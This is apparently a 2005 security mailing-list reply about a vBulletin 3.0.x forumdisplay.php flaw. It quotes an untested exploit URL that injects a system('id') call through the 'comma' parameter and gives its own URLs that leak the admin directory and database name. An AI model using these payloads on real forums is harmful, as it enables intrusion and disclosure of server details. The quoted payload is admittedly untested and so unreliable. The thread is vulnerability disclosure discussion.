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Re: vbulletin 3.0.x PHP code execution



In-Reply-To: <opsl7ypolvsmddlu@sampah>

with nested variable you can't run PHP CODE  but you can evaluate value of 
variables .

ex:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname


>On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb@xxxxxxx> wrote:
>
>The 4th condition is the most hard to find condition in php installation.  
>There is a technique to by pass magic quote condition by supplying nested  
>variable to $comma. Since I've no vbulletin source code to test with this  
>technique is not confirmed in this vulnerability.
>
>example:
>       
> http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id
>
>It isnever tested to real